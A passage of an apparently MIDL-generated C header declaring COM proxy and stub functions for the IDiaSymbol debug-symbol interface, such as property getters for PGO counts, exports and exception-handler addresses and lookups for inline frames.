[retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_textureSlot_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_samplerSlot_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_samplerSlot_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_uavSlot_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_uavSlot_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_sizeInUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_sizeInUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_memorySpaceKind_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_memorySpaceKind_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_unmodifiedTypeId_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_unmodifiedTypeId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_subTypeId_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_subTypeId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_subType_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_subType_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfModifiers_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numberOfModifiers_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfRegisterIndices_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numberOfRegisterIndices_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isHLSLData_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isHLSLData_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerToDataMember_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isPointerToDataMember_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerToMemberFunction_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isPointerToMemberFunction_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSingleInheritance_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isSingleInheritance_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMultipleInheritance_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isMultipleInheritance_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isVirtualInheritance_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isVirtualInheritance_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_restrictedType_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_restrictedType_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPointerBasedOnSymbolValue_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isPointerBasedOnSymbolValue_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseSymbol_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_baseSymbol_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseSymbolId_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_baseSymbolId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_objectFileName_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BSTR *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_objectFileName_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorGroupSharedLocal_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isAcceleratorGroupSharedLocal_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorPointerTagLiveRange_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isAcceleratorPointerTagLiveRange_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isAcceleratorStubFunction_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isAcceleratorStubFunction_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfAcceleratorPointerTags_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numberOfAcceleratorPointerTags_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSdl_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isSdl_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isWinRTPointer_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isWinRTPointer_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isRefUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isRefUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isValueUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isValueUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isInterfaceUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isInterfaceUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByAddr_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD isect,\n    /* [in] */ DWORD offset,\n    /* [out] */ IDiaEnumSymbols **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineFramesByAddr_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByRVA_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD rva,\n    /* [out] */ IDiaEnumSymbols **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineFramesByRVA_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineFramesByVA_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ ULONGLONG va,\n    /* [out] */ IDiaEnumSymbols **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineFramesByVA_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLines_Proxy( \n    IDiaSymbol * This,\n    /* [out] */ IDiaEnumLineNumbers **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineeLines_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByAddr_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD isect,\n    /* [in] */ DWORD offset,\n    /* [in] */ DWORD length,\n    /* [out] */ IDiaEnumLineNumbers **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineeLinesByAddr_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByRVA_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD rva,\n    /* [in] */ DWORD length,\n    /* [out] */ IDiaEnumLineNumbers **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineeLinesByRVA_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInlineeLinesByVA_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ ULONGLONG va,\n    /* [in] */ DWORD length,\n    /* [out] */ IDiaEnumLineNumbers **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInlineeLinesByVA_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findSymbolsForAcceleratorPointerTag_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD tagValue,\n    /* [out] */ IDiaEnumSymbols **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findSymbolsForAcceleratorPointerTag_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD tagValue,\n    /* [in] */ DWORD rva,\n    /* [out] */ IDiaEnumSymbols **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_get_acceleratorPointerTags_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD cnt,\n    /* [out] */ DWORD *pcnt,\n    /* [size_is][out] */ DWORD *pPointerTags);\n\n\nvoid __RPC_STUB IDiaSymbol_get_acceleratorPointerTags_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_getSrcLineOnTypeDefn_Proxy( \n    IDiaSymbol * This,\n    /* [out] */ IDiaLineNumber **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_getSrcLineOnTypeDefn_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPGO_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isPGO_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasValidPGOCounts_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_hasValidPGOCounts_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isOptimizedForSpeed_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isOptimizedForSpeed_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGOEntryCount_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_PGOEntryCount_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGOEdgeCount_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_PGOEdgeCount_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGODynamicInstructionCount_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ ULONGLONG *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_PGODynamicInstructionCount_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_staticSize_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_staticSize_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_finalLiveStaticSize_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_finalLiveStaticSize_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_phaseName_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BSTR *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_phaseName_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasControlFlowCheck_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_hasControlFlowCheck_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_constantExport_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_constantExport_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_dataExport_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_dataExport_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_privateExport_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_privateExport_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_noNameExport_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_noNameExport_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exportIsForwarder_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exportIsForwarder_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_ordinal_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_ordinal_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_frameSize_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_frameSize_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerAddressSection_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exceptionHandlerAddressSection_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerAddressOffset_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exceptionHandlerAddressOffset_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerVirtualAddress_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ ULONGLONG *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_exceptionHandlerVirtualAddress_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_findInputAssemblyFile_Proxy( \n    IDiaSymbol * This,\n    /* [out] */ IDiaInputAssemblyFile **ppResult);\n\n\nvoid __RPC_STUB IDiaSymbol_findInputAssemblyFile_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_characteristics_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_characteristics_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD 